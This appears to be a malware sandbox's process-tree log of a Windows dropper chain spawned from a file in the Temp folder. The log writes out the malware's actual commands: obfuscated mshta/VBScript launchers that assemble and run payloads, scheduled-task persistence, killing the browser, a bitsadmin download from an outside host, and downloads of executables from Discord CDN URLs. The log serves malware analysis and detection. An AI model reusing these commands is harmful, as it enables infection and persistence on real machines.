C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- Creates scheduled task(s)
PID:7948
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:1708
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:6760
-
-
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵PID:9064
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:9056
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:6752
-
-
-
C:\Users\Admin\AppData\Roaming\uiusvrrC:\Users\Admin\AppData\Roaming\uiusvrr2⤵PID:2124
-
-
C:\Users\Admin\AppData\Roaming\bfusvrrC:\Users\Admin\AppData\Roaming\bfusvrr2⤵PID:2788
-
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr2⤵PID:5288
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr3⤵PID:7980
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:6004
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:4232
-
-
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task2⤵PID:6552
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task3⤵PID:8188
-
-
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵PID:6692
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:8916
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:6600
-
-
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task2⤵PID:4404
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task3⤵PID:512
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:5288
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:1724
-
-
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr2⤵PID:8904
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr3⤵PID:732
-
-
-
C:\Users\Admin\AppData\Roaming\bfusvrrC:\Users\Admin\AppData\Roaming\bfusvrr2⤵PID:4608
-
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵PID:5124
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:1872
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:8888
-
-
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task2⤵PID:7888
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task3⤵PID:5964
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:8940
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:1580
-
-
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task2⤵PID:6736
-
C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exeC:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e\8EED.exe --Task3⤵PID:8016
-
-
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵PID:2096
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:8804
-
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr2⤵PID:2948
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr3⤵PID:4632
-
-
-
C:\Users\Admin\AppData\Roaming\bfusvrrC:\Users\Admin\AppData\Roaming\bfusvrr2⤵PID:3572
-
-
C:\Users\Admin\AppData\Local\Temp\Fri051e1e7444.exe"C:\Users\Admin\AppData\Local\Temp\Fri051e1e7444.exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Users\Admin\Pictures\Adobe Films\gckOBeKwEc_9Tb1WLDr_o55o.exe"C:\Users\Admin\Pictures\Adobe Films\gckOBeKwEc_9Tb1WLDr_o55o.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3816
-
-
C:\Users\Admin\Pictures\Adobe Films\6RfiwzZkIPJvopWxqd4ouGmM.exe"C:\Users\Admin\Pictures\Adobe Films\6RfiwzZkIPJvopWxqd4ouGmM.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2332 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵PID:2236
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
PID:5096
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\OwrOZbTk9HrZsEFTj0c7paTs.exe"C:\Users\Admin\Pictures\Adobe Films\OwrOZbTk9HrZsEFTj0c7paTs.exe"2⤵PID:2388
-
-
C:\Users\Admin\Pictures\Adobe Films\ZKiBxX_lZY4IIzpkXK7L8Xle.exe"C:\Users\Admin\Pictures\Adobe Films\ZKiBxX_lZY4IIzpkXK7L8Xle.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1268 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:4352
-
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"3⤵
- Executes dropped EXE
PID:4456
-
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"3⤵
- Executes dropped EXE
PID:4556
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ADP8vL2SLdGPH8L7FyA9nk0u.exe"C:\Users\Admin\Pictures\Adobe Films\ADP8vL2SLdGPH8L7FyA9nk0u.exe"2⤵
- Executes dropped EXE
PID:1316 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 10803⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2288
-
-
-
C:\Users\Admin\Pictures\Adobe Films\NpQFFR5PLBhAmQZ0HxCbwNxm.exe"C:\Users\Admin\Pictures\Adobe Films\NpQFFR5PLBhAmQZ0HxCbwNxm.exe"2⤵
- Executes dropped EXE
PID:2760 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 8963⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:2236
-
-
-
C:\Users\Admin\Pictures\Adobe Films\E8SL1DWYDQfbr15Eley5KWls.exe"C:\Users\Admin\Pictures\Adobe Films\E8SL1DWYDQfbr15Eley5KWls.exe"2⤵
- Executes dropped EXE
PID:2080 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\E8SL1DWYDQfbr15Eley5KWls.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\E8SL1DWYDQfbr15Eley5KWls.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )3⤵PID:4808
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\E8SL1DWYDQfbr15Eley5KWls.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\E8SL1DWYDQfbr15Eley5KWls.exe" ) do taskkill -im "%~NxK" -F4⤵PID:1300
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP5⤵
- Executes dropped EXE
PID:3540 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )6⤵PID:4852
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F7⤵PID:600
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )6⤵PID:5636
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY7⤵PID:5720
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "8⤵PID:5076
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"8⤵PID:1496
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY8⤵
- Loads dropped DLL
PID:4204
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "E8SL1DWYDQfbr15Eley5KWls.exe" -F5⤵
- Kills process with taskkill
PID:4312
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\zt3fotSIgq8mlNObpN9zV4Ri.exe"C:\Users\Admin\Pictures\Adobe Films\zt3fotSIgq8mlNObpN9zV4Ri.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3260 -
C:\Users\Admin\Documents\1NfON6dm6F_QWOrKdYH7I84U.exe"C:\Users\Admin\Documents\1NfON6dm6F_QWOrKdYH7I84U.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
PID:4760 -
C:\Users\Admin\Pictures\Adobe Films\nksQBGgk4aKK7MdTUg8YET4X.exe"C:\Users\Admin\Pictures\Adobe Films\nksQBGgk4aKK7MdTUg8YET4X.exe"4⤵
- Executes dropped EXE
PID:2476
-
-
C:\Users\Admin\Pictures\Adobe Films\HpQtObz62dT6szj1j12odrbQ.exe"C:\Users\Admin\Pictures\Adobe Films\HpQtObz62dT6szj1j12odrbQ.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2628
-
-
C:\Users\Admin\Pictures\Adobe Films\uWM88AHiVsIghHqLufZXuMxT.exe"C:\Users\Admin\Pictures\Adobe Films\uWM88AHiVsIghHqLufZXuMxT.exe"4⤵
- Executes dropped EXE
PID:4408 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:5500
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:5988
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\KUuRjtWwC9mcEybDnxKPC2fz.exe"C:\Users\Admin\Pictures\Adobe Films\KUuRjtWwC9mcEybDnxKPC2fz.exe"4⤵
- Executes dropped EXE
PID:4568
-
-
C:\Users\Admin\Pictures\Adobe Films\hfRWQcdalGPlSdecGjYWgh99.exe"C:\Users\Admin\Pictures\Adobe Films\hfRWQcdalGPlSdecGjYWgh99.exe"4⤵
- Executes dropped EXE
PID:4368 -
C:\Users\Admin\AppData\Local\Temp\is-R4J9A.tmp\hfRWQcdalGPlSdecGjYWgh99.tmp"C:\Users\Admin\AppData\Local\Temp\is-R4J9A.tmp\hfRWQcdalGPlSdecGjYWgh99.tmp" /SL5="$202AC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\hfRWQcdalGPlSdecGjYWgh99.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4224 -
C:\Users\Admin\AppData\Local\Temp\is-C0JLV.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-C0JLV.tmp\DYbALA.exe" /S /UID=27096⤵PID:5552
-
C:\Program Files\7-Zip\MIDBCRSQAA\foldershare.exe"C:\Program Files\7-Zip\MIDBCRSQAA\foldershare.exe" /VERYSILENT7⤵
- Executes dropped EXE
PID:4536
-
-
C:\Users\Admin\AppData\Local\Temp\81-435e9-5e4-4faae-779d13af068e1\Nyshylamoqo.exe"C:\Users\Admin\AppData\Local\Temp\81-435e9-5e4-4faae-779d13af068e1\Nyshylamoqo.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
PID:4960 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22008⤵PID:3456
-
-
-
C:\Users\Admin\AppData\Local\Temp\97-3e64a-dcf-5769a-33453d0b0524b\Lotatiqama.exe"C:\Users\Admin\AppData\Local\Temp\97-3e64a-dcf-5769a-33453d0b0524b\Lotatiqama.exe"7⤵
- Executes dropped EXE
PID:5976 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kt5q2ku5.ax4\GcleanerEU.exe /eufive & exit8⤵PID:6464
-
C:\Users\Admin\AppData\Local\Temp\kt5q2ku5.ax4\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\kt5q2ku5.ax4\GcleanerEU.exe /eufive9⤵PID:7064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\prqjttuq.5td\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:6568
-
C:\Users\Admin\AppData\Local\Temp\prqjttuq.5td\installer.exeC:\Users\Admin\AppData\Local\Temp\prqjttuq.5td\installer.exe /qn CAMPAIGN="654"9⤵PID:7116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5jc5d4ki.aad\any.exe & exit8⤵PID:6636
-
C:\Users\Admin\AppData\Local\Temp\5jc5d4ki.aad\any.exeC:\Users\Admin\AppData\Local\Temp\5jc5d4ki.aad\any.exe9⤵PID:6236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4hkf2oki.el3\gcleaner.exe /mixfive & exit8⤵PID:6756
-
C:\Users\Admin\AppData\Local\Temp\4hkf2oki.el3\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\4hkf2oki.el3\gcleaner.exe /mixfive9⤵PID:6704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jll3pen3.x3h\autosubplayer.exe /S & exit8⤵PID:6888
-
C:\Users\Admin\AppData\Local\Temp\jll3pen3.x3h\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\jll3pen3.x3h\autosubplayer.exe /S9⤵
- Loads dropped DLL
- Drops file in Program Files directory
PID:6992 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:4228
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:8728
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:7112
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:6812
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:9076
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:7916
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsr4DF3.tmp\tempfile.ps1"10⤵PID:9188
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z10⤵
- Download via BitsAdmin
PID:2216
-
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\1HpT7fOCjRqwevyYF3NF9uzi.exe"C:\Users\Admin\Pictures\Adobe Films\1HpT7fOCjRqwevyYF3NF9uzi.exe" /mixtwo4⤵
- Executes dropped EXE
PID:5116
-
-
C:\Users\Admin\Pictures\Adobe Films\0Ynwrny1xR6Ce3aFOdXaV7vd.exe"C:\Users\Admin\Pictures\Adobe Films\0Ynwrny1xR6Ce3aFOdXaV7vd.exe"4⤵
- Executes dropped EXE
PID:4600 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\0Ynwrny1xR6Ce3aFOdXaV7vd.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\0Ynwrny1xR6Ce3aFOdXaV7vd.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵PID:5336
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\0Ynwrny1xR6Ce3aFOdXaV7vd.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\0Ynwrny1xR6Ce3aFOdXaV7vd.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:5480
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵
- Executes dropped EXE
PID:6008 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:6120
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:5188
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵PID:1604
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:5036
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:6120
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵PID:8144
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "0Ynwrny1xR6Ce3aFOdXaV7vd.exe"7⤵
- Kills process with taskkill
PID:192
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\e3ciN45LF9YSOx5uTssM_4x6.exe"C:\Users\Admin\Pictures\Adobe Films\e3ciN45LF9YSOx5uTssM_4x6.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4200
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4900
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4984
-
-
-
C:\Users\Admin\Pictures\Adobe Films\3fQcxDlp43cF_Lkgp2hF3etw.exe"C:\Users\Admin\Pictures\Adobe Films\3fQcxDlp43cF_Lkgp2hF3etw.exe"2⤵
- Executes dropped EXE
PID:2280 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2280 -s 8963⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4540
-
-
-
C:\Users\Admin\Pictures\Adobe Films\m4B4l9UNQFjYJy2qOZ8ywGcq.exe"C:\Users\Admin\Pictures\Adobe Films\m4B4l9UNQFjYJy2qOZ8ywGcq.exe"2⤵
- Executes dropped EXE
PID:3804
-
-
C:\Users\Admin\Pictures\Adobe Films\07110_23KBD6OrY29SHSSWf2.exe"C:\Users\Admin\Pictures\Adobe Films\07110_23KBD6OrY29SHSSWf2.exe"2⤵
- Executes dropped EXE
PID:1844 -
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"3⤵
- Executes dropped EXE
PID:5108 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 16244⤵
- Program crash
PID:4968
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\I5ybN5GcFFp2qz4bO557reWX.exe"C:\Users\Admin\Pictures\Adobe Films\I5ybN5GcFFp2qz4bO557reWX.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3044 -
C:\ProgramData\Application Data\S8LGJghE7EKxPiR6DNQktZgV.exe"C:\ProgramData\Application Data\S8LGJghE7EKxPiR6DNQktZgV.exe"3⤵PID:6304
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Uv2OLZQGQUISQFphMrVjFyks.exe"C:\Users\Admin\Pictures\Adobe Films\Uv2OLZQGQUISQFphMrVjFyks.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\DC7E.bat "C:\Users\Admin\Pictures\Adobe Films\Uv2OLZQGQUISQFphMrVjFyks.exe""3⤵PID:1700
-
C:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:3612
-
-
C:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/901113291861028926/901113305991643206/18.exe" "18.exe" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:3688
-
-
C:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/901113291861028926/901113363139035156/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:4480
-
-
C:\Users\Admin\AppData\Local\Temp\32459\Transmissibility.exeTransmissibility.exe4⤵
- Executes dropped EXE
PID:4844
-
-
C:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\DC7C.tmp\DC7D.tmp\extd.exe "" "" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:4188
-
-
-
-
